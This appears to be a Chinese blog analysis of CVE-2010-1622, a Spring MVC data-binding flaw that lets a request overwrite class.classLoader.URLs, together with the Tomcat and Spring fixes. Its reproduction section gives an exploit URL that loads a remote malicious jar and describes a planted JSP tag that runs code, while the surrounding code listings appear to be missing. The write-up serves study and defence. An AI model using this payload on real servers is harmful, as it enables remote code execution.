CVE-2010-1622很老的的一个洞了,最近在分析Spring之前的漏洞时看到的。利用思路很有意思,因为这个功能其实之前开发的时候也经常用,当然也有很多局限性。有点类似js原型链攻击的感觉,这里分享出来。

介绍

CVE-2010-1622因为Spring框架中使用了不安全的表单绑定对象功能。这个机制允许攻击者修改加载对象的类加载器的属性,可能导致拒绝服务和任意命令执行漏洞。

Versions Affected:
3.0.0 to 3.0.2
2.5.0 to 2.5.6.SEC01 (community releases)
2.5.0 to 2.5.7 (subscription customers)

Earlier versions may also be affected

Java Beans API

JavaBean是一种特殊的类,主要用于传递数据信息,这种类中的方法主要用于访问私有的字段,且方法名符合某种命名规则。如果在两个模块之间传递信息,可以将信息封装进JavaBean中。这种JavaBean的实例对象称之为值对象(Value Object),因为这些bean中通常只有一些信息字段和存储方法,没有功能性方法,JavaBean实际就是一种规范,当一个类满足这个规范,这个类就能被其它特定的类调用。一个类被当作javaBean使用时,JavaBean的属性是根据方法名推断出来的,它根本看不到java类内部的成员变量。
内省(Introspector) 是Java 语言对 JavaBean 类属性、事件的一种缺省处理方法。其中的propertiesDescriptor实际上来自于对Method的解析。
如我们现在声明一个JavaBean—Test

在类Test中有私有属性id,我们可以通过getter/setter方法来访问/设置这个属性。在Java JDK中提供了一套 API 用来访问某个属性的 getter/setter 方法,这就是内省。
因为内省操作非常麻烦,所以Apache开发了一套简单、易用的API来操作Bean的属性——BeanUtils工具包。
Java Beans API的Introspector类提供了两种方法来获取类的bean信息:

这里就出现了一个使用时可能出现问题的地方,即没有使用stopClass,这样会使得访问该类的同时访问到Object.class。因为在java中所有的对象都会默认继承Object基础类
而又因为它存在一个getClass()方法(只要有 getter/setter 方法中的其中一个,那么 Java 的内省机制就会认为存在一个属性),所以会找到class属性。
如下:

output:

其中后三个属性是我们预期的(虽然没有pass属性,但是有getter方法,所以内省机制就会认为存在一个属性),而class则是对应于Object.class。
未命名文件-2

如果我们接着调用

可以获得更多信息

可以看到关键的classLoader出现了

SpringMVC如何实现数据绑定

首先SpringMVC中当传入一个http请求时会进入DispatcherServlet的doDispatch,然后前端控制器请求HandlerMapping查找Handler,接着HandlerAdapter请求适配器去执行Handler,然后返回ModelAndView,ViewResolver再去解析并返回View,前端解析器去最后渲染视图。
屏幕快照 2019-10-17 下午8.49.43
在这个过程中我们这里主要关注再适配器中invokeHandler调用到的参数解析所进行的数据绑定(在调用controller中的方法传入参数调用前进行的操作)。
无论是spring mvc的数据绑定(将各式参数绑定到@RequestMapping注解的请求处理方法的参数上),还是BeanFactory(处理@Autowired注解)都会使用到BeanWrapper接口。
20170119132139329
过程如上,BeanWrapperImpl具体实现了创建,持有以及修改bean的方法。
其中的setPropertyValue方法可以将参数值注入到指定bean的相关属性中(包括list,map等),同时也可以嵌套设置属性。
如:
tb中有个spouse的属性,也为TestBean

变量覆盖问题

在springMVC传进参数进行数据绑定的时候存在一个这样的变量覆盖问题,我们来看一下demo

新建两个类User和UserInfo,其中User的name和UserInfo中id有get和set方法,而UserInfo中的user,number和names[]数组只有get方法。

测试controller,发送请求

结果:
屏幕快照 2019-10-19 下午1.57.03

可以看到id正常,number没有接收到也正常,因为没有set方法,class和classLoader同样没有set方法,所以失败。name有set所以赋值成功。
接下来的names反而发现赋值成功了,这就比较有意思了,因为names这里我们没有设置set方法它却成功赋值。
上面我们分析流程提到了BeanWrapperImpl的setPropertyValue方法是用来绑定赋值的,所以我们在此处打上断点,一起调试一下看一下。
屏幕快照 2019-10-19 下午2.14.17
跳到names[0]处理时
屏幕快照 2019-10-19 下午2.12.04
接着看一下它是如何获得对应的类中参数
屏幕快照 2019-10-19 下午2.25.43
跟进getPropertyValue方法
屏幕快照 2019-10-19 下午2.27.20
发现是从CachedIntrospectionResults获取PropertyDescriptor。我们来看下CachedIntrospectionResults如何来的。
Xnip2019-10-19_14-33-40
看到了熟悉的Introspector.getBeanInfo。这也就是我们上面讲过的内省,因此可以理解它为什么它能去获取到没有set的属性。
接着到赋值操作。
Xnip2019-10-19_14-21-15
看代码可以知道当判断为Array时会直接调用Array.set,由此绕过了set方法,直接调用底层赋值。后面同样List,Map类型的字段也有类似的处理,也就是说这三种类型是不需要set方法的。对于一般的值,直接调用java反射中的writeMethod方法给予赋值。

漏洞复现

环境:tomcat-6.0.26 spring-webmvc-3.0.0.RELEASE
构建一个jar包META-INF中放入spring-form.tld和tags/InputTag.tag

内容为:

编译出的jar包放到web上提供下载

待测试springmvc编写jsp代码

controller如下:

部署并启动tomcat后打开页面
http://localhost:8088/hello?class.classLoader.URLs[0]=jar:http://127.0.0.1:8000/sp-exp.jar!/
屏幕快照 2019-10-19 下午6.25.29
成功触发

漏洞原理

通过上面可以知道,我们利用了springmvc的参数自动绑定配合数组变量覆盖,造成了class.classLoader.URLs[]可以被控制,之后发生了这次RCE。
我们来具体看下之后是如何执行的。

首先setPropertyValue将对应参数填入URLs[],结果如上图已经赋给了classloader
接着在渲染jsp页面时,Spring会通过Jasper中的TldLocationsCache类(jsp平台对jsp解析时用到的类)从WebappClassLoader里面读取url参数(用来解析TLD文件在解析TLD的时候,是允许直接使用jsp语法的)在init时通过scanJars方法依次读取并加载。

这里主要是在ViewRwsolver视图解析渲染流程中,其他细节我们不用关注,在完成模版解析后,我们可以看下生成的文件,发现除了_jsp.clss还有我们从jar中下载的恶意代码InputTag_tag.class已经被编译到本地。
屏幕快照 2019-10-19 下午6.27.23
首先来看hello_jsp.java,因为实际上jsp就是一个servlet,所以最后生成是一个java文件。

首先static块里面可以看到引入的外部jar包,然后代码中对应<spring:form><spring:input>标签的是_jspx_meth_form_005fform_005f0,_jspx_meth_form_005finput_005f0两个方法。
具体看

new了一个InputTag_tag类并执行doTag()方法,对应我们之前的InputTag.tag,看它生产的java文件中doTag()方法。

发现是这里最后执行了之前tag中写的代码导致RCE。

简单总结下主要流程:
exp->参数自动绑定->数组覆盖classLoader.URLs[0]->WebappClassLoader.getURLs()->TldLocationsCache.scanJars()->模板解析->_jspx_th_form_005finput_005f0.doTag()->shellcode

限制条件

首先需要该应用使用了对象绑定表单功能,其次由代码可知

需要是该应用启动后第一次的jsp页面请求即第一次渲染进行TldLocationsCache.init才可以,否则无法将修改的URLs内容装载,也就无法加载我们恶意的tld。

如何修复

Tomcat:
虽然是spring的漏洞,但tomcat也做了修复

Return copies of the URL array rather than the original. This facilitated CVE-2010-1622 although the root cause was in the Spring Framework. Returning a copy in this case seems like a good idea.

屏幕快照 2019-10-20 下午12.18.55
tomcat6.0.28版本后把getURLs方法返回的值改成了clone的,使的我们获得的拷贝版本无法修改classloader中的URLs[]

Spring:
spring则是在CachedIntrospectionResults中获取beanInfo后对其进行了判断,将classloader添加进了黑名单。

参考

https://www.inbreak.net/archives/377
http://drops.xmd5.com/static/drops/papers-1395.html
https://www.exploit-db.com/exploits/13918
https://dingody.iteye.com/blog/2190987
https://wooyun.js.org/drops/Spring框架问题分析.html
http://blog.o0o.nu/2010/06/cve-2010-1622.html
https://my.oschina.net/u/1170022/blog/138466
https://blog.csdn.net/xiao1_1bing/article/details/81078649
https://www.iteye.com/topic/1123382
http://svn.apache.org/viewvc/tomcat/trunk/java/org/apache/catalina/loader/WebappClassLoader.java?r1=964215&r2=966292&pathrev=966292&diff_format=h